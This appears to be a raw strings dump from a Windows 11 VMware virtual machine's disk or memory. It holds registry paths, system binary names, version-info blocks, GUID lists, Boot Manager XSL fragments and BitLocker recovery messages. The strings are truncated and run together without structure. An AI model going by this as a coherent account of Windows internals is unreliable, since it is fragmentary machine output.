\Registry\Machine\System\CurrentControlSet\Control\WMI\GlobalLogger GlobalLogger ETWAutoLoggerPath ETWGlobalLoggerPath Names %ws\StackLevelKwFilter %ws\Filters ExeFilter MatchAnyKeyword MatchAllKeyword FilterIn NameCount StackCaching EnableSecurityProvider DisallowList V2Options Guid FileCounter FileMax PoolTagFilter EnableStatus EventNameFilter StackNameFilter EnableLevel EnableFlags SchematizedFilters ContainerFilter EventIds StackWalkIds PackageIdFilter PackageRelativeAppIdFilter EventIdFilterIn StackWalkFilterIn EtwRT%ws.etl %SystemRoot%\system32\Logfiles\WMI\RtBackup\ 425500 Host MachinePreferredUILanguages %s\Partition%lu \Partition0 \ArcName\multi(0)disk(0)rdisk(0) \ArcName\multi(0)disk(0)rdisk(1) Control\CriticalDeviceDatabase Control\DevicePanels Control\DeviceContainers Control\DeviceInterfaces Control\DeviceClasses Control\Class HardwareConfig Control\CoDeviceInstallers Hardware Profiles\ Enum\ System\CurrentControlSet\ Control Device Parameters %s\%04u\%s\%s System\CurrentControlSet\Control\Class %s\%04u\%s\%s\%s System\CurrentControlSet\Hardware Profiles %s\%s\%s\%s System\CurrentControlSet\Hardware Profiles\Current System\CurrentControlSet\Enum Driver Parameters ZZZZ 999A Root\ \\?\ Control\DeviceClasses\ Control\Class\ %s\%04u\%s System\CurrentControlSet\Control\DeviceClasses BaseContainers Control\DeviceContainers\ System\CurrentControlSet\Control\DeviceContainers\%s DeviceInstance %ws\%04X\%u Control\DevicePanels\ System\CurrentControlSet\Control\DevicePanels\%s %04lX {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\%04lX %d-%d-%d *Lower *Upper %ws\*%X %ws\%X Microsoft Windows Version %ws\%ws\%ws \REGISTRY\MACHINE SBYTE EMPTY [(%s %3d) %s %s] User (NULL) BOOLEAN FILETIME DATE CURRENCY GUID_ARRAY GUID DECIMAL DOUBLE FLOAT UINT64 INT64 UINT32 INT32 UINT16 INT16 BYTE ({%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}) (%.6e) (0x%.16I64x) (0x%.8x) (0x%.4x) (0x%.2x) STRING_INDIRECT NTSTATUS ERROR BINARY DEVPROPTYPE DEVPROPKEY SECURITY_DESCRIPTOR_STRING SECURITY_DESCRIPTOR STRING_LIST STRING (>=) (==) (Exists) (IGNORE_CASE) (NOT) NOT( AND( [%s] (%s) (FALSE) (TRUE) (array_contains) (list_contains) (contains) (ends_with) (begins_with) (<=) \Device\ahcache Session Manager\Configuration Manager Bias TimeZoneKeyName 0123456789ABCDEF StandardName DaylightName StandardBias DaylightBias StandardStart DaylightStart BTHENUM\ DynamicDaylightTimeDisabled LastEntry FirstEntry Dynamic DST Time Zones\ \Dynamic DST SequenceNumber {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} vertdll.dll \System32 \SystemRoot\System32\ntdll.dll ntdll.dll \SystemRoot\SysWOW64\ntdll.dll \KernelObjects\CpuPartitions Path= SystemDrive= SystemRoot= \KernelObjects\CpuPartitions\SystemCpuPartition PsHostSilo \GLOBAL??\ NonPagedPoolQuota \Registry\Machine\Software\Policies\Microsoft\Windows\Session Manager\Quota System PagedPoolQuota PagingFileQuota WorkingSetPagesQuota \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Quota System WIN://PKG WIN://SYSAPPID PsWorkingSetAdjust PerfOptions LargePageDLLs PRIVATENETWORKCLIENTSERVER PICTURESLIBRARY INTERNETCLIENT INTERNETCLIENTSERVER APPOINTMENTS CONTACTS SHAREDUSERCERTIFICATES REMOVABLESTORAGE DOCUMENTSLIBRARY ENTERPRISEAUTHENTICATION VIDEOSLIBRARY MUSICLIBRARY \Registry\User\.Default \Registry\Machine\Hardware\DeviceMap \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion \Registry\Machine\System\CurrentControlSet\Control \Registry\Machine\System\CurrentControlSet\Services WIN://BGKD WIN://PKGHOSTID autochk.exe winlogon.exe userinit.exe lsass.exe wininit.exe genvalobj.exe sppsvc.exe services.exe wintesttcbpp.exe MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\aicontext.exe MicrosoftWindows.Client.AIX_cw5n1h2txyewy\aihost.exe fclip.exe azshci\HciSvc.exe SIHClient.exe sgrm\sgrmbroker.exe securityhealthservice.exe csrss.exe werfaultsecure.exe smss.exe wintestaudit.exe authtestpp.exe amtestppl.exe codegentestppl.exe wintestnpp.exe wintestppl.exe wintestpp.exe wintesttcbppl.exe \SeRmCommandPort \Registry\Machine\SYSTEM\CurrentControlSet\Control\Windows FullProcessInformationSID \Device\UwfvolControl \Registry\Machine\System\Setup PhoneNT Kernel-ProductType WH Server SystemSetupInProgress Personal Blade EmbeddedNT DataCenter Storage Server Compute Server Embedded(Restricted) Security Appliance Small Business Enterprise \Registry\Machine\System\CurrentControlSet\Services\LicenseInfoSuites ConcurrentLimit Small Business(Restricted) Terminal Server CommunicationServer BackOffice \Registry\Machine\System\CurrentControlSet\Control\ProductOptions ProductType SetupType SystemPrefix WinNT ProductSuite LanmanNT ServerNT \Callback\SeImageVerificationBlockInfo \Callback\SetSystemTime \Callback\SetSystemState \Callback\EnlightenmentState \Callback\Phase1InitComplete \Callback\SeImageVerificationDriverInfo \Callback\PowerState \Callback\ProcessorAdd \Callback\LicensingData OSProductPfn OSProductContentId ClipProductOptions ProductPolicy CloudbookDeviceLocked Security-SPP-IgnoreDeferredActivation CloudbookDeviceID Clip-SubscriptionPFN ConsumeAddonPolicySet \NLS \SystemRoot\System32\locale.nls \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Notifications \REGISTRY\MACHINE\OSDATA\Notifications \Registry\Machine\System\CurrentControlSet\Control\Notifications \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\VolatileNotifications SecondaryDCache SecondaryCache PrimaryDCache SecondaryICache ScsiAdapter DtiAdapter EisaAdapter TcAdapter FloatingPointProcessor PrimaryICache System CentralProcessor DockingInformation RealModeIrqRoutingTable NetworkPeripheral SystemMemory \OSDataRoot RealModePCIEnumeration Undefined PrinterPeripheral PointerPeripheral ModemPeripheral MonitorPeripheral OtherPeripheral LinePeripheral KeyboardPeripheral TerminalPeripheral KeyboardController AudioController ParallelController PointerController FloppyDiskPeripheral TapePeripheral OtherController DiskPeripheral TapeController CdRomController MultifunctionAdapter DiskController NetworkController DisplayController WormController SerialController SYSTEM SymbolicLinkValue Registry CONTROLSET001\SERVICES\MPSSVC ProcessorControl \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\EVENTLOG \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\MEMORY MANAGEMENT \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\BOOTLOG \REGISTRY\WC \REGISTRY\A \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHUTDOWN \REGISTRY\USER \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\ENUM \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\ENUM\ROOT \REGISTRY\MACHINE\SYSTEM \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\CLASS \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SAFEBOOT \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT \REGISTRY\MACHINE\HARDWARE \REGISTRY\MACHINE\HARDWARE\DESCRIPTION \REGISTRY \REGISTRY\MACHINE \REGISTRY\MACHINE\HARDWARE\RESOURCEMAP \REGISTRY\MACHINE\HARDWARE\OWNERMAP \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM \REGISTRY\MACHINE\HARDWARE\DEVICEMAP .LOG2 .LOG .LOG1 DEVICES CurrentConfig \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PERFLIB Control\Session Manager Current Hardware Profiles Hardware Profiles\Current Select Control\IDConfigDB CurrentBuildNumber \REGISTRY\MACHINE\SYSTEM\Software\Microsoft CSDVersion CSDBuildNumber CurrentType CurrentMinorVersionNumber SystemRoot _EDITION_ CurrentMajorVersionNumber CurrentVersion Windows NT BuildBranch CurrentBuild ServicingLayers BuildLayers BuildLabEx BuildLab Kernel-NonGenuineNotificationType \Registry\Machine\System\CurrentControlSet\Control\7503491f-4a39-4f84-b231-8aca3e203b94 Security-SPP-GenuineLocalStatus Kernel-NonGenuineNotificationStringIds Icon IncludedInfs ResourcePickerExceptions ResourcePickerTags CoInstallers32 EnumPropPages32 ProviderName MatchingDeviceId InfSectionExt InfSection InfPath DriverDesc DriverVersion DriverDateData InstallFlags DeviceReported FSFilterClass LastDeleteDate DHPRebalanceOptOut LowerLogoVersion ~MHz FeatureSet Update Revision VendorIdentifier ProcessorNameString PhysicalAddressExtension Update Status Previous Update Revision Platform Specific Field 2 Platform Specific Field 1 jjjj jjjj jjjj jjjj Assigned Existing Shared Assigned New Own Assigned New Shared Deallocated Unassigned from Logon Session Unassigned from Token PTL 440BX GenuineIntel INTEL netfxcustomperfcounters.1.0 SharedPerfIPCBlock Cor_Private_IPCBlock Cor_Public_IPCBlock_ \SystemRoot\Prefetch DLLHOST.EXE,MMC.EXE,RUNDLL32.EXE,SVCHOST.EXE,TASKHOST.EXE 1537 1538 1539 1540 1541 1542 1543 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 PerfDiag Logger Default ???? ???? W. Europe Standard Time W. Europe Daylight Time W. Europe Standard Time Unidentified Driver \SystemRoot\System32\Config\SYSTEM Microsoft.Windows.Pro.Addon_8wekyb3d8bbwe \SystemRoot\System32\drivers\usbccgp.sys \SystemRoot\System32\Drivers\fastfat.SYS \SystemRoot\System32\Drivers\fastfat.SYS \SystemRoot\System32\Drivers\fastfat.SYS .3FR,.ARI,.ARW,.BAY,.CAP,.CR2,.CR3,.CRW,.DCS,.DCR,.DRF,.EIP,.ERF,.FFF,.IIQ,.K25,.KDC,.MEF,.MOS,.MRW,.NEF,.NRW,.ORF,.ORI,.PEF,.PTX,.PXN,.RAF,.RAW,.RW2,.RWL,.SR2,.SRF,.SRW,.X3F,.DNG wuaueng.dll.mui wuaueng.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy n1h2 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy ubpm.dll 3++S++ re_8weky 3++S++ DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD verifier.dll $DSC $DSC verifier.dll verifier.dll WofCompressedData $DSC version.dll $DSC version.dll0 version.dll WofCompressedData $DSC $DSC WinMgmtR.dll 1000 $DSC winmm.dll winmm.dll WofCompressedData $DSC $DSC winmm.dll $DSC $DSC WINMMB~1.DLL winmmbase.dll winmmbase.dll WofCompressedData $DSC $DSC VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Host Process for Windows Services FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName svchost.exe LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename svchost.exe ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation en-US SubC "Microsoft Window SubC \Device\HarddiskVolume3\Windows\SysWOW64\wintrust.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\win32u.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\rpcrt4.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\msctf.dll:WofCompressedData 00;0000000000000000;*; BthBVRADelay:0 \Device\HarddiskVolume3\$Extend\$Reparse:$R:$INDEX_ALLOCATION \Device\HarddiskVolume3\System Volume Information \Device\HarddiskVolume3\Windows \Device\HarddiskVolume3\$LogFile \Device\HarddiskVolume3\Windows\System32 \Device\HarddiskVolume3\$Mft WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU PCI\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\4&3b50545d&0&00B8 PCI\VEN_15AD&DEV_0774&SUBSYS_197615AD&REV_00\4&bbf9765&0&0088 PCI\VEN_15AD&DEV_1977&SUBSYS_197715AD&REV_09\4&bbf9765&0&0888 PCI\VEN_15AD&DEV_0770&SUBSYS_077015AD&REV_00\4&bbf9765&0&1088 PCI\VEN_15AD&DEV_07E0&SUBSYS_07E015AD&REV_00\4&bbf9765&0&1888 \??\STORAGE#Volume#{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000#{6ead3d82-25ec-46bc-b7fd-c1f0df8f5037} VMware-56 4d 43 50 f7 aa 8d ad-df 88 f6 92 88 1b 6c 9b SubC WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU \ 0<6258807092785928627_trigger.dat ><6258807092785928627_trigger.dat ><6258807092785928627_trigger.dat 8<6258807092785928627_data.dat 8<6258807092785928627_data.dat 8<6258807092785928627_data.dat $ <xsl:text> Windows Boot Manager </xsl:text> <xsl:text> ugger enabled]</xsl:for-each> </xsl:element> </xsl:for-each> </select> </form> <br/> </p> <font foreground-color="RGBI"> <textarea name="advops-prompt" width="76" height="1"/> </font> <br/> <xsl:for-each select="@timeout"> <textarea name="timerstr" width="68">Seconds until the highlighted choice will be started automatically: </textarea><textarea name="timerval" width="8"/> </xsl:for-each> <br/> </body> </osxml:text-mode-ui> </xsl:template> <xsl:template match="timeout-cancel"> <osxml:update disable-timer="true"/> <osxml:update control="timerval" value=""/> <osxml:update control="timerstr" value=""/> </xsl:template> <xsl:template match="progress-bar"> <osxml:text-mode-ui> <body background-color="XXXX" foreground-color="RGBX"> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <br/> <p pad-left="2"> <textarea name="progress-title" width="76"> <xsl:value-of select="@progresstitle"/> </textarea> </p> <br/> <p pad-left="2">Loading files...</p> <br/> <meter name="progressbar" size="76"/> <p pad-left="2"> <textarea name="progressinfo" width="76"/> </p> </body> </osxml:text-mode-ui> </xsl:template> <xsl:template match="progress-update"> <osxml:update control="progressbar" value="{@value}"/> </xsl:template> <xsl:template match="progress-info"> <osxml:update control="progressinfo" value="{@value}"/> </xsl:template> <xsl:template match="multicast-prestart-standard"> <osxml:text-mode-ui> <head> <meta key="ESC" action="exit"/> </head> </osxml:text-mode-ui> </xsl:template> <xsl:template match="multicast-prestart-legacy"> <osxml:text-mode-ui> <head> <xsl:for-each select="@wds"> <title color="XXXXRGBX"><xsl:text> Windows Boot Manager (Server IP: <xsl:value-of select="."/>) {5ec13d8e-4b3f-422e-a7e7-3121a1d90c7a} {ae4bd3be-f36f-45b6-8d21-bdd6fb832853} {98e0765d-8c42-44a3-a57b-760d7f93225a} {89b1e9f0-5aff-44a6-9b44-0a07a7ce5845} {89592015-d996-4636-8f61-066b5d4dd739} {7e87506f-bace-4bf1-bc09-3a1f37045c71} {8e889f0c-7d54-52b3-e4ae-2c8b27a482c2} {85a62a0d-7e17-485f-9d4f-749a287193a6} {a9c11050-9e93-4fa4-8fe0-7c4750a345b2} {9e22a3ed-7b32-4b99-b6c2-21dd6ace01e1} {9068a924-f97e-5506-c3a3-5c020c00e8e0} {7d7b0c39-93f6-4100-bd96-4dda859652c5} {b92cf7fd-dc10-4c6b-a72d-1613bf25e597} {a70ff94f-570b-4979-ba5c-e59c9feab61b} {952773bf-c2b7-49bc-88f4-920744b82c43} {a0e9b465-b939-57d7-b27d-95d8e925ff57} {7d44233d-3055-4b9c-ba64-0d47ca40a232} {95353826-4fbe-41d4-9c42-f521c6e86360} {97ca8142-10b1-4baa-9fbb-70a7d11231c3} {a7975c8f-ac13-49f1-87da-5a984a4ab417} {aa4c798d-d91b-4b07-a013-787f5803d6fc} {aaf67066-0bf8-469f-ab76-275590c434ee} {8127f6d4-59f9-4abf-8952-3e3a02073d5f} {906b8a99-63ce-58d7-86ab-10989bbd5567} {8507cd07-f18b-54f0-b871-23c43a5bf118} {b447b4db-7780-11e0-ada3-18a90531a85a} {a0c1853b-5c40-4b15-8766-3cf1c58f985a} {b447b4df-7780-11e0-ada3-18a90531a85a} {b2fcd41f-9a40-4150-8c92-b224b7d8c8aa} {93a19ab3-fb2c-46eb-91ef-56b0a318b983} {b447b4de-7780-11e0-ada3-18a90531a85a} {88c09888-118d-48fc-8863-e1c6d39ca4df} ACPI\VMW0003\4&1bd7f811&0 ACPI\PNP0B00\4&1bd7f811&0 ACPI\PNP0103\4&1bd7f811&0 ACPI\PNP0001\4&1bd7f811&0 ACPI\PNP0100\4&1bd7f811&0 IOTENT~2 IoTEnterpriseK $I300 license.rtf PROFES~1 Professional $I300 license.rtf Volume $I300 Professional PROFES~1 PROFES~1 Professional $I300 license.rtf +activedirectory-webservices-replacement.man FApplication-Experience-Program-Compatibility-Assistant-Replacement.mana &Audio-AudioCore-Client-Replacement.man /AudioMMECore-MM-Other-Migration-Replacement.man authui-migration-replacement.man %authui-Migration-Win8-Replacement.man capi2_certs-repl.man %CertificateEnrollment-Replacement.man "CommandPrompt-Win7-Replacement "CommandPrompt-Win8-Replacement.man 'Content-Indexing-Common-Replacement.man CoreOS-Repl.man "Credential-Manager-Replacement.man crypto_keys-Repl.man DesktopUx-Replacement.man dhcpclientdll-repl.man DHCPServer-Tools-Replacement.man dhcpservermigplugin-rep.man 'DHCPServerMigPluginWin8-Replacement.man %DirectAccessSe verManagement-Repl.man hwvid-migration-2 %microsoft-activedirectory-webservices microsoft-international-core %microsoft-windows-audio-mmecore-other #Microsoft-Windows-COM-ComPlus-Setup /Microsoft-Windows-DirectoryServices-ADAM-Client e\Registry\Machine\System\CurrentControlSet\Control\MiniNT \Registry\Machine\System\CurrentControlSet\Services\CLFS Authentication Exemptions LearningModeStartTime Mode \Registry\Machine\System\CurrentControlSet\Policies ClfsAuthenticationChecking EnforcementTransitionPeriod SystemTemp \REGISTRY\MACHINE\OSDATA\Session Manager \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Environment \Registry\Machine\System\CurrentControlSet\Services\CLFS\Authentication\Exemptions SHA256 ObjectLength HashDigestLength (unknown) .TM.blf .regtrans-ms Windows\System32\config\TxR\ IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GA;;;BA) SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoUseClass NoDisplayClass DeviceType Security Exclusive DeviceCharacteristics {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} \Registry\Machine\System\CurrentControlSet\Control\Class {9d55b53d-449b-4824-a637-24f9d69aa02f} {a83fa99f-c356-4ded-9fd6-5a5eb8546d68} {89a2278b-c662-4aff-a06c-46ad3f220bca} {7d29d58a-931a-40ac-8743-48c733045548} {9803daa0-81ba-483a-986c-f0e395b9f8d1} {b059b83f-d946-4b13-87ca-4292839dc2f2} {88cd9180-4491-4640-b571-e3bee2527943} {98bf1cd3-583e-4926-95ee-a61bf3f46470} {9c2a37f3-e5fd-5cae-bcd1-43dafeee1ff0} {85be49ea-38f1-4547-a604-80060202fb27} {9363ccd9-d429-4452-9adb-2501e704b810} {8530db6e-51c0-43d6-9d02-a8c2088526cd} {8bcdf442-3070-4118-8c94-e8843be363b3} {7eafcf79-06a7-460b-8a55-bd0a0c9248aa} {aabf8b86-7936-4fa2-acb0-63127f879dbf} {ad8aa069-a01b-40a0-ba40-948d1d8dedc5} {91f5fb12-fdea-4095-85d5-614b495cd9de} {aaeac398-3028-487c-9586-44eacad03637} {9ae87b12-a014-5288-92df-e3030981ebab} {85fe7609-ff4a-48e9-9d50-12918e43e1da} {b447b4e1-7780-11e0-ada3-18a90531a85a} {9cc0413e-5717-4af5-82eb-6103d8707b45} {9580d7dd-0379-4658-9870-d5be7d52d6de} {9d74dc62-b75f-54cd-be9e-c28940b5feed} {7f9d83de-8abb-457f-98e8-4ad161449ecc} {b6d775ef-1436-4fe6-bad3-9e436319e218} {b6cc0d55-9ecc-49a8-b929-2b9022426f2a} {7e58e69a-e361-4f06-b880-ad2f4b64c944} {a615acb9-d5a4-4738-b561-1df301d207f8} {8939299f-2315-4c5c-9b91-abb86aa0627d} {968f313b-097f-4e09-9cdd-bc62692d138b} {96f4a050-7e31-453c-88be-9634f4e02139} lid BitLocker key on this USB drive To recover this drive, plug in the USB drive that has the BitLocker recovery key There is no valid recovery key on this USB drive You must enter your recovery key to access Startup Settings BitLocker needs your recovery key to unlock your drive because your PC's configuration has changed. This may have happened because a disc or USB device was inserted. Removing it and restarting your PC may fix this problem. BitLocker needs your recovery key to unlock your drive because the following boot application has changed: %1. BitLocker needs your recovery key to unlock your drive because the Boot Configuration Data setting %1 has changed for the following boot application: %2. BitLocker needs your recovery key to unlock your drive because the Trusted Platform Module is not functioning correctly. BitLocker needs your recovery key to unlock your drive because the Trusted Platform Module is disabled. BitLocker needs your recovery key to unlock your drive because the Trusted Platform Module is not accessible. BitLocker needs your recovery key to unlock your drive because the partition table reports an invalid partition size. BitLocker needs your recovery key to unlock your drive because debugging mode has been enabled. BitLocker needs your recovery key to unlock your drive because driver signature enforcement has been disabled. BitLocker needs your recovery key to unlock your drive because of an unknown error. To protect the privacy of your data, BitLocker has prevented the unlocking of your drive. You'll need to enter your recovery key. There is a limit on the number of attempts allowed. To reboot and try again, press Enter. For other recovery options, press Esc. Find the USB drive you used when you turned on BitLocker. Use the number keys or function keys F1-F10 (use F10 for 0). Press the Insert key to see the PIN as you type. Press the Insert key to see the password as you type. Press the Inse {bff15e13-81bf-45ee-8b16-7cfead00da86} {d1bc9aff-2abf-4d71-9146-ecb2a986eb85} {b9da9fe6-ae5f-4f3e-b2fa-8e623c11dc75} {e5c16d49-2464-4382-bb20-97a4b5465db9} {d2e990da-8504-4702-a5e5-367fc2f823bf} {d710d46c-235d-4798-ac20-9f83e1dcd557} {bd12f3b8-fc40-4a61-a307-b7a013a069c1} {e6307a09-292c-497e-aad6-498f68e2b619} {d3f29eda-805d-428a-9902-b259b937f84b} {cbda4dbf-8d5d-4f69-9578-be14aa540d22} {de513a55-c345-438b-9a74-e18cac5c5cc5} {e934e6dd-62be-55d8-1cc8-416d0039498b} {ecdaacfa-6fe9-477c-b5f0-85b76f8f50aa} {ba093605-3909-4345-990b-26b746adee0a} {dc327e90-7748-58ed-f39c-8a8987cfac58} {eb65a492-86c0-406a-bace-9912d595bd69} {e6835967-e0d2-41fb-bcec-58387404e25a} {c2f36562-a1e4-4bc3-a6f6-01a7adb643e8} {de7b24ea-73c8-4a09-985d-5bdadcfa9017} {d39b6336-cfcb-483b-8c76-7c3e7d02bcb8} {c4b57d35-0636-4bc3-a262-370f249f9802} {dab3b18c-3c0f-43e8-80b1-e44bc0dad901} {bab3ad92-fb96-5902-450b-b8421bdec7bd} {c675305e-51bd-5da6-08b4-d4cb88d198f0} {bea18b89-126f-4155-9ee4-d36038b02680} {ec7b8a8b-1432-58b3-6025-be73d4ea28ed} {cb070027-1534-4cf3-98ea-b9751f508376} {c651f5f6-1c0d-492e-8ae1-b4efd7c9d503} {dbe9b383-7cf3-4331-91cc-a3cb16a3b538} {ba723d81-0d0c-4f1e-80c8-54740f508ddf} {ca4e628d-8567-4896-ab6b-835b221f373f} {cf3f502e-b40d-4071-996f-00981edf938e} ++S+ MaxEntriesStored NumFlushes \Device\DxgKrnl WarpSupportHybridDiscrete GraphicsDrivers 3DNode%02X TdrDelay eWarpSupportsResourceResidency WarpOverrideWDDMVersion \Registry\Machine\System\CurrentControlSet\Services\DXGKrnl VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription AF_UNIX socket provider FileVersion 10.0.26100.6725 (WinBuild.160101.0800) InternalName afunix.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename afunix.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.6725 VarFileInfo Translation me3\Users\job\AppData\Lo ++S+ 1877 EventData Data Name Flags Flags Microsoft-Windows-DesktopActivityModerator win:Info win:Start win:Stop win:Informational StartDriver StopDriver SuspendResume Throttle ResiliencyEngage ProcessActivity ProcessExempt PolicyReload PdcCallback PdcAcknowledge StartStopDriver Control ProcessActivity Policy PerfTrackContext VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription DAM Kernel Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dam.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename dam.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation !Desktop Activity Moderator Driver)Controls activity of desktop applications WEVT_TEMPLATE en-US WEVT_TEMPLATE Info Start Stop Information Microsoft-Windows-DesktopActivityModerator Microsoft-Windows-DesktopActivityModerator/Diagnostic EventData Data Name NTSTATUS NTSTATUS EventData Data Name SuspendFlag SuspendFlag EventData Data Name ActiveFlag ActiveFlag EventData Data Name ProcessId Data Name SessionId Data Name ImageFileNameLength Data Name ImageFileName Data Name CommandLineLength Data Name CommandLine ProcessId SessionId ImageFileNameLength ImageFileName CommandLineLength CommandLine EventData Data Name ProcessId Data Name SessionId ProcessId SessionId EventData Data Name ProcessId Data Name SessionId Data Name ExemptGroup Data Name RegisterAtLaunch ProcessId SessionId ExemptGroup RegisterAtLaunch EventData Data Name PolicyRecords PolicyRecords EventData Data Name State Data Name NTSTATUS Data Name WorkItemQueued State NTSTATUS WorkItemQueued EventData Data Name ClientState ClientState ++S+ ++S+ 3++S++ IFhTargetMigration {6A5FEA5B-BF8F-4EE5-B8C3-44D8A0D7331C} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {864A9449-05B7-4A4F-B2FB-7CBACA74A5B1} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {A6FF50C0-56C0-71CA-5732-BED303A59628} IStoreCommercePreview {7CD4F369-6379-4EBB-86D4-87DA8E63CA3B} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {3FBF60BD-90B2-2C2F-7286-128BBCF72015} {0b4c227f-2394-43ff-ba59-bc762f5c46ea} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {D3295D87-D604-11D4-A704-00C04FA137E4} {00020424-0000-0000-C000-000000000046} {D3295D87-D604-11D4-A704-00C04FA137E4} {00020424-0000-0000-C000-000000000046} {BED7F4EA-1A96-11D2-8F08-00A0C9A6186D} {00020424-0000-0000-C000-000000000046} {BED7F4EA-1A96-11D2-8F08-00A0C9A6186D} {00020424-0000-0000-C000-000000000046} {BEE4BFEC-6683-3E67-9167-3C0CBC68F40A} {00020424-0000-0000-C000-000000000046} {BED7F4EA-1A96-11D2-8F08-00A0C9A6186D} {00020424-0000-0000-C000-000000000046} {215D64D2-031C-33C7-96E3-61794CD1EE61} {00020424-0000-0000-C000-000000000046} {BED7F4EA-1A96-11D2-8F08-00A0C9A6186D} {00020424-0000-0000-C000-000000000046} IFsrmFileManagementJobManagerTools {00020424-0000-0000-C000-000000000046} {ADB55E1E-B550-4081-A6FC-DF44053F332B} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {aef771da-f489-423e-bb0f-634ba8b0c56d} IAccessible2 {01C20F2B-3DD2-400F-949F-AD00BDAB1D41} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IVector_1_Windows__CData__CPdf__CInternal__CPdfCommandInfo {8b40abb8-6c65-465a-8c4b-26224df3125f} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IDeviceProximityFilterConfigurationStatics {00000301-A8F2-4877-BA0A-FD2B6645FB94} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IVdsSwProviderPrivate {E0393303-90D4-4A97-AB71-E9B671EE2729} __FIVectorView_1_Windows__CInternal__CCapabilityAccess__CUsageHistory__CAppCapabilityUsageInstance {ead1a538-3bb4-45d9-b6c9-dc167e21d959} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IVBSAXDeclHandler {00020424-0000-0000-C000-000000000046} {F5078F18-C551-11D3-89B9-0000F81FE221} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} LAN LW Connection Manager Class {27AF75ED-20D9-11D1-B1CE-00805FC1270E} %systemroot%\system32\dsuiext.dll Apartment In-pane search %SystemRoot%\system32\shell32.dll Apartment AudioFrameNativeFactory C:\Windows\System32\RTMediaFrame.dll Both TPM Virtual Smart Card Manager {16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A} @%SystemRoot%\System32\TpmVscMgrSvr.exe,-100 SystemL ot%\System32\TpmVscMgrSvr.exe" %SystemRoot%\System32\TpmVscMgrSvr.exe NotificationsS ngsProvi FBF60BD-90B2 F-72 {95E15D0A-66E6-93D9-C53C-76E62 LOCAL SERVICEL SNT AUTHORITY \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\RoamingState \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Initialization.evtx 